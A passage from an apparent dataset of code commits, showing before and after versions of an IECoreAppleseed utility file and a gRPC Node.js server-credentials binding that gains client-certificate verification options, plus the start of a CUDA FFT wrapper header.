StringData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase V2iDataTypeId :\n\t\t\t{\n\t\t\t\tconst Imath::V2i &x = static_cast<const V2iData*>( value.get() )->readable();\n\t\t\t\tss << x.x << \", \" << x.y;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase Color3fDataTypeId :\n\t\t\t{\n\t\t\t\tconst Imath::Color3f &x = static_cast<const Color3fData*>( value.get() )->readable();\n\t\t\t\tss << x.x << \", \" << x.y << \", \" << x.z;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase BoolDataTypeId :\n\t\t\t{\n\t\t\t\tbool x = static_cast<const BoolData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\treturn ss.str();\n}\n\nvoid IECoreAppleseed::setParam( const string &name, const Data *value, asr::ParamArray ¶ms )\n{\n\tswitch( value->typeId() )\n\t{\n\t\tcase IntDataTypeId :\n\t\t\t{\n\t\t\t\tint x = static_cast<const IntData*>( value )->readable();\n\t\t\t\tparams.insert( name, x );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase FloatDataTypeId :\n\t\t\t{\n\t\t\t\tfloat x = static_cast<const FloatData*>( value )->readable();\n\t\t\t\tparams.insert( name, x );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase StringDataTypeId :\n\t\t\t{\n\t\t\t\tconst string &x = static_cast<const StringData*>( value )->readable();\n\t\t\t\tparams.insert( name, x.c_str() );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase BoolDataTypeId :\n\t\t\t{\n\t\t\t\tbool x = static_cast<const BoolData*>( value )->readable();\n\t\t\t\tparams.insert( name, x );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\t\/\/ TODO: some kind of warning would be nice here...\n\t\t\tbreak;\n\t}\n}\n\nasr::ParamArray IECoreAppleseed::convertParams( const CompoundDataMap ¶meters )\n{\n\tasr::ParamArray result;\n\n\tfor( CompoundDataMap::const_iterator it=parameters.begin(); it!=parameters.end(); ++it )\n\t\tsetParam( it->first.value(), it->second.get(), result );\n\n\treturn result;\n}\n\nstring IECoreAppleseed::createColorEntity( asr::ColorContainer &colorContainer, const Imath::C3f &color, const string &name )\n{\n\t\/\/ for monochrome colors, we don't need to create a color entity at all.\n\tif( color.x == color.y && color.x == color.z )\n\t{\n\t\treturn boost::lexical_cast<string>( color.x );\n\t}\n\n\tasr::ColorValueArray values( 3, &color.x );\n\tasr::ParamArray params;\n\tparams.insert( \"color_space\", \"linear_rgb\" );\n\n\tasf::auto_release_ptr<asr::ColorEntity> c = asr::ColorEntityFactory::create( name.c_str(), params, values );\n\treturn insertEntityWithUniqueName( colorContainer, c, name.c_str() );\n}\n\nnamespace\n{\n\nstring doCreateTextureEntity( asr::TextureContainer &textureContainer, asr::TextureInstanceContainer &textureInstanceContainer, const asf::SearchPaths &searchPaths, const string &textureName, const string &fileName, const asr::ParamArray &txInstanceParams )\n{\n\tasr::ParamArray params;\n\tparams.insert( \"filename\", fileName.c_str() );\n\tparams.insert( \"color_space\", \"linear_rgb\" );\n\n\tasf::auto_release_ptr<asr::Texture> texture( asr::DiskTexture2dFactory().create( textureName.c_str(), params, searchPaths ) );\n\tstring txName = IECoreAppleseed::insertEntityWithUniqueName( textureContainer, texture, textureName );\n\n\tstring textureInstanceName = txName + \"_instance\";\n\tasf::auto_release_ptr<asr::TextureInstance> textureInstance( asr::TextureInstanceFactory().create( textureInstanceName.c_str(), txInstanceParams, txName.c_str() ) );\n\treturn IECoreAppleseed::insertEntityWithUniqueName( textureInstanceContainer, textureInstance, textureInstanceName.c_str() );\n}\n\n}\n\nstring IECoreAppleseed::createTextureEntity( asr::TextureContainer &textureContainer, asr::TextureInstanceContainer &textureInstanceContainer, const asf::SearchPaths &searchPaths, const string &textureName, const string &fileName )\n{\n\treturn doCreateTextureEntity( textureContainer, textureInstanceContainer, searchPaths, textureName, fileName, asr::ParamArray() );\n}\n\nstring IECoreAppleseed::createAlphaMapTextureEntity( asr::TextureContainer &textureContainer, asr::TextureInstanceContainer &textureInstanceContainer, const asf::SearchPaths &searchPaths, const string &textureName, const string &fileName )\n{\n\tasr::ParamArray params;\n\tparams.insert( \"alpha_mode\", \"detect\" );\n\treturn doCreateTextureEntity( textureContainer, textureInstanceContainer, searchPaths, textureName, fileName, params );\n}\n<commit_msg>Removed namespace qualifiers. Added some warnings.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2014, Esteban Tovagliari. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"boost\/lexical_cast.hpp\"\n\n#include \"renderer\/api\/color.h\"\n\n#include \"IECore\/MessageHandler.h\"\n#include \"IECore\/SimpleTypedData.h\"\n\n#include \"IECoreAppleseed\/private\/AppleseedUtil.h\"\n\nusing namespace IECore;\nusing namespace Imath;\nusing namespace boost;\nusing namespace std;\n\nnamespace asf = foundation;\nnamespace asr = renderer;\n\nstring IECoreAppleseed::dataToString( ConstDataPtr value )\n{\n\tstringstream ss;\n\n\tswitch( value->typeId() )\n\t{\n\t\tcase IntDataTypeId :\n\t\t\t{\n\t\t\t\tint x = static_cast<const IntData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase FloatDataTypeId :\n\t\t\t{\n\t\t\t\tfloat x = static_cast<const FloatData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase StringDataTypeId :\n\t\t\t{\n\t\t\t\tconst string &x = static_cast<const StringData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase V2iDataTypeId :\n\t\t\t{\n\t\t\t\tconst V2i &x = static_cast<const V2iData*>( value.get() )->readable();\n\t\t\t\tss << x.x << \", \" << x.y;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase Color3fDataTypeId :\n\t\t\t{\n\t\t\t\tconst Color3f &x = static_cast<const Color3fData*>( value.get() )->readable();\n\t\t\t\tss << x.x << \", \" << x.y << \", \" << x.z;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase BoolDataTypeId :\n\t\t\t{\n\t\t\t\tbool x = static_cast<const BoolData*>( value.get() )->readable();\n\t\t\t\tss << x;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tmsg( MessageHandler::Warning, \"IECoreAppleseed::dataToString\", format( \"Unknown data typeid \\\"%s\\\".\" ) % value->typeName() );\n\t\t\tbreak;\n\t}\n\n\treturn ss.str();\n}\n\nvoid IECoreAppleseed::setParam( const string &name, const Data *value, asr::ParamArray ¶ms )\n{\n\tswitch( value->typeId() )\n\t{\n\t\tcase IntDataTypeId :\n\t\t\t{\n\t\t\t\tint x = static_cast<const IntData*>( value )->readable();\n\t\t\t\tparams.insert( name, x );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase FloatDataTypeId :\n\t\t\t{\n\t\t\t\tfloat x = static_cast<const FloatData*>( value )->readable();\n\t\t\t\tparams.insert( name, x );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase StringDataTypeId :\n\t\t\t{\n\t\t\t\tconst string &x = static_cast<const StringData*>( value )->readable();\n\t\t\t\tparams.insert( name, x.c_str() );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase BoolDataTypeId :\n\t\t\t{\n\t\t\t\tbool x = static_cast<const BoolData*>( value )->readable();\n\t\t\t\tparams.insert( name, x );\n\t\t\t}\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tmsg( MessageHandler::Warning, \"IECoreAppleseed::setParam\", format( \"Unknown data typeid \\\"%s\\\".\" ) % value->typeName() );\n\t\t\tbreak;\n\t}\n}\n\nasr::ParamArray IECoreAppleseed::convertParams( const CompoundDataMap ¶meters )\n{\n\tasr::ParamArray result;\n\n\tfor( CompoundDataMap::const_iterator it=parameters.begin(); it!=parameters.end(); ++it )\n\t\tsetParam( it->first.value(), it->second.get(), result );\n\n\treturn result;\n}\n\nstring IECoreAppleseed::createColorEntity( asr::ColorContainer &colorContainer, const C3f &color, const string &name )\n{\n\t\/\/ for monochrome colors, we don't need to create a color entity at all.\n\tif( color.x == color.y && color.x == color.z )\n\t{\n\t\treturn lexical_cast<string>( color.x );\n\t}\n\n\tasr::ColorValueArray values( 3, &color.x );\n\tasr::ParamArray params;\n\tparams.insert( \"color_space\", \"linear_rgb\" );\n\n\tasf::auto_release_ptr<asr::ColorEntity> c = asr::ColorEntityFactory::create( name.c_str(), params, values );\n\treturn insertEntityWithUniqueName( colorContainer, c, name.c_str() );\n}\n\nnamespace\n{\n\nstring doCreateTextureEntity( asr::TextureContainer &textureContainer, asr::TextureInstanceContainer &textureInstanceContainer, const asf::SearchPaths &searchPaths, const string &textureName, const string &fileName, const asr::ParamArray &txInstanceParams )\n{\n\tasr::ParamArray params;\n\tparams.insert( \"filename\", fileName.c_str() );\n\tparams.insert( \"color_space\", \"linear_rgb\" );\n\n\tasf::auto_release_ptr<asr::Texture> texture( asr::DiskTexture2dFactory().create( textureName.c_str(), params, searchPaths ) );\n\tstring txName = IECoreAppleseed::insertEntityWithUniqueName( textureContainer, texture, textureName );\n\n\tstring textureInstanceName = txName + \"_instance\";\n\tasf::auto_release_ptr<asr::TextureInstance> textureInstance( asr::TextureInstanceFactory().create( textureInstanceName.c_str(), txInstanceParams, txName.c_str() ) );\n\treturn IECoreAppleseed::insertEntityWithUniqueName( textureInstanceContainer, textureInstance, textureInstanceName.c_str() );\n}\n\n}\n\nstring IECoreAppleseed::createTextureEntity( asr::TextureContainer &textureContainer, asr::TextureInstanceContainer &textureInstanceContainer, const asf::SearchPaths &searchPaths, const string &textureName, const string &fileName )\n{\n\treturn doCreateTextureEntity( textureContainer, textureInstanceContainer, searchPaths, textureName, fileName, asr::ParamArray() );\n}\n\nstring IECoreAppleseed::createAlphaMapTextureEntity( asr::TextureContainer &textureContainer, asr::TextureInstanceContainer &textureInstanceContainer, const asf::SearchPaths &searchPaths, const string &textureName, const string &fileName )\n{\n\tasr::ParamArray params;\n\tparams.insert( \"alpha_mode\", \"detect\" );\n\treturn doCreateTextureEntity( textureContainer, textureInstanceContainer, searchPaths, textureName, fileName, params );\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <node.h>\n\n#include \"grpc\/grpc.h\"\n#include \"grpc\/grpc_security.h\"\n#include \"grpc\/support\/log.h\"\n#include \"server_credentials.h\"\n\nnamespace grpc {\nnamespace node {\n\nusing Nan::Callback;\nusing Nan::EscapableHandleScope;\nusing Nan::HandleScope;\nusing Nan::Maybe;\nusing Nan::MaybeLocal;\nusing Nan::ObjectWrap;\nusing Nan::Persistent;\nusing Nan::Utf8String;\n\nusing v8::Array;\nusing v8::Exception;\nusing v8::External;\nusing v8::Function;\nusing v8::FunctionTemplate;\nusing v8::Integer;\nusing v8::Local;\nusing v8::Object;\nusing v8::ObjectTemplate;\nusing v8::String;\nusing v8::Value;\n\nNan::Callback *ServerCredentials::constructor;\nPersistent<FunctionTemplate> ServerCredentials::fun_tpl;\n\nServerCredentials::ServerCredentials(grpc_server_credentials *credentials)\n : wrapped_credentials(credentials) {}\n\nServerCredentials::~ServerCredentials() {\n grpc_server_credentials_release(wrapped_credentials);\n}\n\nvoid ServerCredentials::Init(Local<Object> exports) {\n Nan::HandleScope scope;\n Local<FunctionTemplate> tpl = Nan::New<FunctionTemplate>(New);\n tpl->SetClassName(Nan::New(\"ServerCredentials\").ToLocalChecked());\n tpl->InstanceTemplate()->SetInternalFieldCount(1);\n Local<Function> ctr = tpl->GetFunction();\n Nan::Set(ctr, Nan::New(\"createSsl\").ToLocalChecked(),\n Nan::GetFunction(\n Nan::New<FunctionTemplate>(CreateSsl)).ToLocalChecked());\n Nan::Set(ctr, Nan::New(\"createInsecure\").ToLocalChecked(),\n Nan::GetFunction(\n Nan::New<FunctionTemplate>(CreateInsecure)).ToLocalChecked());\n fun_tpl.Reset(tpl);\n constructor = new Nan::Callback(ctr);\n Nan::Set(exports, Nan::New(\"ServerCredentials\").ToLocalChecked(), ctr);\n}\n\nbool ServerCredentials::HasInstance(Local<Value> val) {\n Nan::HandleScope scope;\n return Nan::New(fun_tpl)->HasInstance(val);\n}\n\nLocal<Value> ServerCredentials::WrapStruct(\n grpc_server_credentials *credentials) {\n Nan::EscapableHandleScope scope;\n const int argc = 1;\n Local<Value> argv[argc] = {\n Nan::New<External>(reinterpret_cast<void *>(credentials))};\n MaybeLocal<Object> maybe_instance = Nan::NewInstance(\n constructor->GetFunction(), argc, argv);\n if (maybe_instance.IsEmpty()) {\n return scope.Escape(Nan::Null());\n } else {\n return scope.Escape(maybe_instance.ToLocalChecked());\n }\n}\n\ngrpc_server_credentials *ServerCredentials::GetWrappedServerCredentials() {\n return wrapped_credentials;\n}\n\nNAN_METHOD(ServerCredentials::New) {\n if (info.IsConstructCall()) {\n if (!info[0]->IsExternal()) {\n return Nan::ThrowTypeError(\n \"ServerCredentials can only be created with the provided functions\");\n }\n Local<External> ext = info[0].As<External>();\n grpc_server_credentials *creds_value =\n reinterpret_cast<grpc_server_credentials *>(ext->Value());\n ServerCredentials *credentials = new ServerCredentials(creds_value);\n credentials->Wrap(info.This());\n info.GetReturnValue().Set(info.This());\n } else {\n \/\/ This should never be called directly\n return Nan::ThrowTypeError(\n \"ServerCredentials can only be created with the provided functions\");\n }\n}\n\nNAN_METHOD(ServerCredentials::CreateSsl) {\n Nan::HandleScope scope;\n char *root_certs = NULL;\n if (::node::Buffer::HasInstance(info[0])) {\n root_certs = ::node::Buffer::Data(info[0]);\n } else if (!(info[0]->IsNull() || info[0]->IsUndefined())) {\n return Nan::ThrowTypeError(\n \"createSSl's first argument must be a Buffer if provided\");\n }\n if (!info[1]->IsArray()) {\n return Nan::ThrowTypeError(\n \"createSsl's second argument must be a list of objects\");\n }\n int force_client_auth = 0;\n if (info[2]->IsBoolean()) {\n force_client_auth = (int)Nan::To<bool>(info[2]).FromJust();\n } else if (!(info[2]->IsUndefined() || info[2]->IsNull())) {\n return Nan::ThrowTypeError(\n \"createSsl's third argument must be a boolean if provided\");\n }\n Local<Array> pair_list = Local<Array>::Cast(info[1]);\n uint32_t key_cert_pair_count = pair_list->Length();\n grpc_ssl_pem_key_cert_pair *key_cert_pairs = new grpc_ssl_pem_key_cert_pair[\n key_cert_pair_count];\n\n Local<String> key_key = Nan::New(\"private_key\").ToLocalChecked();\n Local<String> cert_key = Nan::New(\"cert_chain\").ToLocalChecked();\n\n for(uint32_t i = 0; i < key_cert_pair_count; i++) {\n Local<Value> pair_val = Nan::Get(pair_list, i).ToLocalChecked();\n if (!pair_val->IsObject()) {\n delete key_cert_pairs;\n return Nan::ThrowTypeError(\"Key\/cert pairs must be objects\");\n }\n Local<Object> pair_obj = Nan::To<Object>(pair_val).ToLocalChecked();\n Local<Value> maybe_key = Nan::Get(pair_obj, key_key).ToLocalChecked();\n Local<Value> maybe_cert = Nan::Get(pair_obj, cert_key).ToLocalChecked();\n if (!::node::Buffer::HasInstance(maybe_key)) {\n delete key_cert_pairs;\n return Nan::ThrowTypeError(\"private_key must be a Buffer\");\n }\n if (!::node::Buffer::HasInstance(maybe_cert)) {\n delete key_cert_pairs;\n return Nan::ThrowTypeError(\"cert_chain must be a Buffer\");\n }\n key_cert_pairs[i].private_key = ::node::Buffer::Data(maybe_key);\n key_cert_pairs[i].cert_chain = ::node::Buffer::Data(maybe_cert);\n }\n grpc_server_credentials *creds = grpc_ssl_server_credentials_create(\n root_certs, key_cert_pairs, key_cert_pair_count, force_client_auth, NULL);\n delete key_cert_pairs;\n if (creds == NULL) {\n info.GetReturnValue().SetNull();\n } else {\n info.GetReturnValue().Set(WrapStruct(creds));\n }\n}\n\nNAN_METHOD(ServerCredentials::CreateInsecure) {\n info.GetReturnValue().Set(WrapStruct(NULL));\n}\n\n} \/\/ namespace node\n} \/\/ namespace grpc\n<commit_msg>Add various options to verify ssl\/tls client cert including letting the application handle the authentication.<commit_after>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <node.h>\n\n#include \"grpc\/grpc.h\"\n#include \"grpc\/grpc_security.h\"\n#include \"grpc\/support\/log.h\"\n#include \"server_credentials.h\"\n\nnamespace grpc {\nnamespace node {\n\nusing Nan::Callback;\nusing Nan::EscapableHandleScope;\nusing Nan::HandleScope;\nusing Nan::Maybe;\nusing Nan::MaybeLocal;\nusing Nan::ObjectWrap;\nusing Nan::Persistent;\nusing Nan::Utf8String;\n\nusing v8::Array;\nusing v8::Exception;\nusing v8::External;\nusing v8::Function;\nusing v8::FunctionTemplate;\nusing v8::Integer;\nusing v8::Local;\nusing v8::Object;\nusing v8::ObjectTemplate;\nusing v8::String;\nusing v8::Value;\n\nNan::Callback *ServerCredentials::constructor;\nPersistent<FunctionTemplate> ServerCredentials::fun_tpl;\n\nServerCredentials::ServerCredentials(grpc_server_credentials *credentials)\n : wrapped_credentials(credentials) {}\n\nServerCredentials::~ServerCredentials() {\n grpc_server_credentials_release(wrapped_credentials);\n}\n\nvoid ServerCredentials::Init(Local<Object> exports) {\n Nan::HandleScope scope;\n Local<FunctionTemplate> tpl = Nan::New<FunctionTemplate>(New);\n tpl->SetClassName(Nan::New(\"ServerCredentials\").ToLocalChecked());\n tpl->InstanceTemplate()->SetInternalFieldCount(1);\n Local<Function> ctr = tpl->GetFunction();\n Nan::Set(ctr, Nan::New(\"createSsl\").ToLocalChecked(),\n Nan::GetFunction(\n Nan::New<FunctionTemplate>(CreateSsl)).ToLocalChecked());\n Nan::Set(ctr, Nan::New(\"createInsecure\").ToLocalChecked(),\n Nan::GetFunction(\n Nan::New<FunctionTemplate>(CreateInsecure)).ToLocalChecked());\n fun_tpl.Reset(tpl);\n constructor = new Nan::Callback(ctr);\n Nan::Set(exports, Nan::New(\"ServerCredentials\").ToLocalChecked(), ctr);\n}\n\nbool ServerCredentials::HasInstance(Local<Value> val) {\n Nan::HandleScope scope;\n return Nan::New(fun_tpl)->HasInstance(val);\n}\n\nLocal<Value> ServerCredentials::WrapStruct(\n grpc_server_credentials *credentials) {\n Nan::EscapableHandleScope scope;\n const int argc = 1;\n Local<Value> argv[argc] = {\n Nan::New<External>(reinterpret_cast<void *>(credentials))};\n MaybeLocal<Object> maybe_instance = Nan::NewInstance(\n constructor->GetFunction(), argc, argv);\n if (maybe_instance.IsEmpty()) {\n return scope.Escape(Nan::Null());\n } else {\n return scope.Escape(maybe_instance.ToLocalChecked());\n }\n}\n\ngrpc_server_credentials *ServerCredentials::GetWrappedServerCredentials() {\n return wrapped_credentials;\n}\n\nNAN_METHOD(ServerCredentials::New) {\n if (info.IsConstructCall()) {\n if (!info[0]->IsExternal()) {\n return Nan::ThrowTypeError(\n \"ServerCredentials can only be created with the provided functions\");\n }\n Local<External> ext = info[0].As<External>();\n grpc_server_credentials *creds_value =\n reinterpret_cast<grpc_server_credentials *>(ext->Value());\n ServerCredentials *credentials = new ServerCredentials(creds_value);\n credentials->Wrap(info.This());\n info.GetReturnValue().Set(info.This());\n } else {\n \/\/ This should never be called directly\n return Nan::ThrowTypeError(\n \"ServerCredentials can only be created with the provided functions\");\n }\n}\n\nNAN_METHOD(ServerCredentials::CreateSsl) {\n Nan::HandleScope scope;\n char *root_certs = NULL;\n if (::node::Buffer::HasInstance(info[0])) {\n root_certs = ::node::Buffer::Data(info[0]);\n } else if (!(info[0]->IsNull() || info[0]->IsUndefined())) {\n return Nan::ThrowTypeError(\n \"createSSl's first argument must be a Buffer if provided\");\n }\n if (!info[1]->IsArray()) {\n return Nan::ThrowTypeError(\n \"createSsl's second argument must be a list of objects\");\n }\n\n grpc_ssl_client_certificate_request_type client_certificate_request;\n if (info[2]->IsBoolean()) {\n client_certificate_request =\n Nan::To<bool>(info[2]).FromJust()\n ? GRPC_SSL_REQUEST_AND_REQUIRE_CLIENT_CERTIFICATE_AND_VERIFY\n : GRPC_SSL_DONT_REQUEST_CLIENT_CERTIFICATE;\n } else if (!(info[2]->IsUndefined() || info[2]->IsNull())) {\n return Nan::ThrowTypeError(\n \"createSsl's third argument must be a boolean if provided\");\n }\n Local<Array> pair_list = Local<Array>::Cast(info[1]);\n uint32_t key_cert_pair_count = pair_list->Length();\n grpc_ssl_pem_key_cert_pair *key_cert_pairs = new grpc_ssl_pem_key_cert_pair[\n key_cert_pair_count];\n\n Local<String> key_key = Nan::New(\"private_key\").ToLocalChecked();\n Local<String> cert_key = Nan::New(\"cert_chain\").ToLocalChecked();\n\n for(uint32_t i = 0; i < key_cert_pair_count; i++) {\n Local<Value> pair_val = Nan::Get(pair_list, i).ToLocalChecked();\n if (!pair_val->IsObject()) {\n delete key_cert_pairs;\n return Nan::ThrowTypeError(\"Key\/cert pairs must be objects\");\n }\n Local<Object> pair_obj = Nan::To<Object>(pair_val).ToLocalChecked();\n Local<Value> maybe_key = Nan::Get(pair_obj, key_key).ToLocalChecked();\n Local<Value> maybe_cert = Nan::Get(pair_obj, cert_key).ToLocalChecked();\n if (!::node::Buffer::HasInstance(maybe_key)) {\n delete key_cert_pairs;\n return Nan::ThrowTypeError(\"private_key must be a Buffer\");\n }\n if (!::node::Buffer::HasInstance(maybe_cert)) {\n delete key_cert_pairs;\n return Nan::ThrowTypeError(\"cert_chain must be a Buffer\");\n }\n key_cert_pairs[i].private_key = ::node::Buffer::Data(maybe_key);\n key_cert_pairs[i].cert_chain = ::node::Buffer::Data(maybe_cert);\n }\n grpc_server_credentials *creds = grpc_ssl_server_credentials_create_ex(\n root_certs, key_cert_pairs, key_cert_pair_count,\n client_certificate_request, NULL);\n delete key_cert_pairs;\n if (creds == NULL) {\n info.GetReturnValue().SetNull();\n } else {\n info.GetReturnValue().Set(WrapStruct(creds));\n }\n}\n\nNAN_METHOD(ServerCredentials::CreateInsecure) {\n info.GetReturnValue().Set(WrapStruct(NULL));\n}\n\n} \/\/ namespace node\n} \/\/ namespace grpc\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"..\/traits.hpp\"\n#include \"fft2d.pb.h\"\n#include <thrust\/device_vector.h>\n\nnamespace cujak {\nnamespace fft2d {\n\ninline int calc_stride(int Ny) { return Ny \/ 2 + 1; }\n\ntemplate <typename Container> class wrapper_base {\nprotected:\n const int Nx, Ny, stride, N;\n Container &u;\n wrapper_base(int Nx_, int Ny_, int stride_, int N_, Container &u_)\n : Nx(Nx_), Ny(Ny_), stride(stride_), N(N_), u(u_) {}\n\npublic:\n typedef typename Container::value_type value_type;\n\n pb::Property property;\n\n value_type *get() const { return u.data().get(); }\n Container &data() const { return u; }\n\n value_type operator()(int i, int j) const {\n if (i >= 0) {\n return u[stride * i + j];\n } else {\n return u[stride * (Nx + i) + j];\n }\n }\n void set(int i, int j, value_type v) {\n if (i >= 0) {\n u[stride * i + j] = v;\n } else {\n u[stride * (Nx + i) + j] = v;\n }\n }\n\n int size_x() const { return Nx; }\n int size_y() const { return Ny; }\n int size() const { return N; }\n int get_stride() const { return stride; }\n};\n\ntemplate <typename Float>\nclass Field_wrapper : public wrapper_base<rdVector<Float> > {\npublic:\n typedef rdVector<Float> Container;\n Field_wrapper(int Nx, int Ny, Container &u)\n : wrapper_base<Container>(Nx, Ny, Ny, Nx * Ny, u) {}\n virtual ~Field_wrapper() = default;\n};\n\ntemplate <typename Float>\nclass Coefficient_wrapper : public wrapper_base<cdVector<Float> > {\n\npublic:\n typedef cdVector<Float> Container;\n Coefficient_wrapper(int Nx, int Ny, Container &u)\n : wrapper_base<Container>(Nx, Ny, calc_stride(Ny), Nx * calc_stride(Ny),\n u) {}\n virtual ~Coefficient_wrapper() = default;\n};\n\ntemplate <typename Float> class Field : public Field_wrapper<Float> {\n typename Field_wrapper<Float>::Container data_;\n\npublic:\n Field(int Nx, int Ny) : data_(Nx * Ny), Field_wrapper<Float>(Nx, Ny, data_) {}\n};\n\ntemplate <typename Float>\nclass Coefficient : public Coefficient_wrapper<Float> {\n typename Coefficient<Float>::Container data_;\n\npublic:\n Coefficient(int Nx, int Ny)\n : data_(Nx * calc_stride(Ny)), 